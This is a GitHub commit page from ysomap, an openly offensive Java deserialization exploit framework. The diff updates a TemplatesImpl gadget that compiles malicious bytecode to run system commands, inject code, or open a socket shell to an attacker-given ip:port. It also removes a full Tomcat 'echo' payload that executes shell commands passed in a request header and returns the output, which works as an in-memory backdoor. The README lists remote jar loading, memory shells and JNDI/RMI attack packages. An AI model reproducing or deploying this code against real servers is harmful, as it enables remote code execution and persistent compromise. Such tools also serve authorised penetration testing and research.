Skip to content

Commit

Permalink
update TemplatesImplBullet effect with EXEC|TOMCAT ECHO|SOCKET SHELL
Browse files Browse the repository at this point in the history
  • Loading branch information
wh1t3p1g committed Jun 16, 2021
1 parent 11d27b2 commit 7347cf5
Show file tree
Hide file tree
Showing 5 changed files with 357 additions and 140 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -48,14 +48,15 @@ CommonsCollection1和3,在分析时我们可以看到实际1和3的区别在
### DONE

- [x] 支持CommonsCollections系列payload
- [x] 支持执行效果bullet:远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入
- [x] 支持执行效果bullet:远程jar载入、命令执行、代码执行、发起jndi效果、tomcat内存马、延时判断、文件写入、socket shell。
- [x] 支持现有RMI系列攻击包 [原理1](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/) [原理2](http://blog.0kami.cn/2020/02/09/jndi-with-rmi/) [原理3](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/)
- [x] 支持现有LDAP系列攻击包 [原理](http://blog.0kami.cn/2020/03/01/jndi-with-ldap/)
- [x] 支持HTTP服务动态挂载恶意的class文件或jar文件
- [x] 支持URLDNS
- [x] 支持现有JMX系列攻击包 [原理](http://blog.0kami.cn/2020/03/10/java-jmx-rmi/)
- [x] 支持fastjson JdbcRowSetImpl、TemplatesImpl gadget [原理](http://blog.0kami.cn/2020/04/13/talk-about-fastjson-deserialization/)
- [x] 支持现有XStream系列payload包 [原理](http://blog.0kami.cn/2020/04/18/talk-about-xstream-deserialization/)
- [x] 支持weblogic XMLDecoder payloads

### TODO

Expand Down
179 changes: 48 additions & 131 deletions core/src/main/java/ysomap/bullets/jdk/TemplatesImplBullet.java
Original file line number Diff line number Diff line change
Expand Up @@ -7,14 +7,16 @@
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import javassist.CtClass;
import echo.SocketEchoPayload;
import echo.TomcatEchoPayload;
import javassist.*;
import ysomap.bullets.Bullet;
import ysomap.common.annotation.*;
import ysomap.core.util.ClassFiles;
import ysomap.core.util.PayloadHelper;
import ysomap.core.util.ReflectionHelper;

import java.io.IOException;
import java.io.Serializable;

/**
Expand All @@ -33,66 +35,90 @@ public class TemplatesImplBullet implements Bullet<Object> {
private Class transformerFactoryImpl;

@NotNull
@Require(name = "body" ,detail = "evil code (start with 'code:') or evil commands")
private String body;
@Require(name = "type", detail = "3种方式(cmd,code,socket):\n" +
"1. cmd,body写入具体的系统命令;\n" +
"2. code, body写入具体需要插入执行的代码;\n" +
"3. socket, body写入`ip:port`\n")
private String type = "cmd";

@NotNull
@Require(name = "body" ,detail = "evil code body")
private String body = "";

@NotNull
@Require(name = "effect", type = "string", detail="选择载入payload的效果,可选default、TomcatEcho、SocketEcho")
private String effect = "default";

@Require(name = "exception", type = "boolean", detail = "是否需要以抛异常的方式返回执行结果,默认为false")
private String exception = "false";

@Require(name = "tomcatEcho", type = "boolean", detail = "选择tomcat回显,默认为false")
private String tomcatEcho = "false";

public String action = "outputProperties";

@Override
public Object getObject() throws Exception {
if(body.startsWith("code:")){// code mode
body = body.substring(5);
}else{// system command execute mode
if("cmd".equals(type)){
if("false".equals(exception)){
body = "java.lang.Runtime.getRuntime().exec(\"" +
body.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}else{
body = PayloadHelper.makeExceptionPayload(body);
}
}else if("code".equals(type) || "socket".equals(type)){
// do nothing
}

initClazz();
// create evil bytecodes
byte[] bytecodes = makeEvilByteCode();
// arm evil bytecodes
Object templates = templatesImpl.newInstance();
// inject class bytes into instance
ReflectionHelper.setFieldValue(templates, "_bytecodes", new byte[][] { bytecodes });
ReflectionHelper.setFieldValue(templates, "_name", "Pwnr");
ReflectionHelper.setFieldValue(templates, "_tfactory", transformerFactoryImpl.newInstance());
return templates;
}

private byte[] makeEvilByteCode() throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = new ClassPool(true);
CtClass cc = null;
if("false".equals(tomcatEcho)){
if("default".equals(effect)){
cc = ClassFiles.makeClassFromExistClass(pool,
StubTransletPayload.class,
new Class<?>[]{abstractTranslet}
);
ClassFiles.insertStaticBlock(cc, body);
ClassFiles.insertSuperClass(pool, cc, abstractTranslet);
}else{
}else if("TomcatEcho".equals(effect)){
cc = ClassFiles.makeClassFromExistClass(pool,
TomcatEchoPayload.class,
new Class<?>[]{abstractTranslet}
);
ClassFiles.insertSuperClass(pool, cc, abstractTranslet);
}else if("SocketEcho".equals(effect)){
String[] remote = body.split(":");
String code = "host=\""+remote[0]+"\";\nport="+remote[1]+";";
pool.appendClassPath(new ClassClassPath(SocketEchoPayload.class));
cc = pool.getCtClass(SocketEchoPayload.class.getName());
cc.setName("SocketEcho");
ClassFiles.insertStaticBlock(cc, code);
ClassFiles.insertSuperClass(pool, cc, abstractTranslet);
}

byte[] bytecodes = cc.toBytecode();
// arm evil bytecodes
Object templates = templatesImpl.newInstance();
// inject class bytes into instance
ReflectionHelper.setFieldValue(templates, "_bytecodes", new byte[][] { bytecodes });
ReflectionHelper.setFieldValue(templates, "_name", "Pwnr");
ReflectionHelper.setFieldValue(templates, "_tfactory", transformerFactoryImpl.newInstance());
return templates;
if(cc != null){
return cc.toBytecode();
}else{
return new byte[0];
}
}


private void initClazz() throws ClassNotFoundException {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
templatesImpl = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
abstractTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
transformerFactoryImpl = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
}else{
} else {
templatesImpl = TemplatesImpl.class;
abstractTranslet = AbstractTranslet.class;
transformerFactoryImpl = TransformerFactoryImpl.class;
Expand All @@ -109,113 +135,4 @@ public void transform (DOM document, SerializationHandler[] handlers ) throws Tr
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

public static class TomcatEchoPayload extends AbstractTranslet implements Serializable {

public TomcatEchoPayload() throws Exception {
Object o;
Object resp;
String s;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}

try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}

java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]);
s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testecho"});
if (s != null && !s.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
resp.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(resp, new Object[]{"Testecho", s});
done = true;
}
s = (String) o.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(o, new Object[]{"Testcmd"});
if (s != null && !s.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c", s};
writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes());
done = true;
}
if ((s == null || s.isEmpty()) && done) {
writeBody(resp, System.getProperties().toString().getBytes());
}

if (done) {
break;
}
}
if (done) {
break;
}
}
}
}

private static void writeBody(Object resp, byte[] bs) throws Exception {
Object o;
Class clazz;
try {
clazz = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
o = clazz.newInstance();
clazz.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class})
.invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
} catch (ClassNotFoundException e) {
clazz = Class.forName("java.nio.ByteBuffer");
o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
} catch (NoSuchMethodException e) {
clazz = Class.forName("java.nio.ByteBuffer");
o = clazz.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});
resp.getClass().getMethod("doWrite", new Class[]{clazz}).invoke(resp, new Object[]{o});
}
}

private static Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}



@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
}
Loading

0 comments on commit 7347cf5

Please sign in to comment.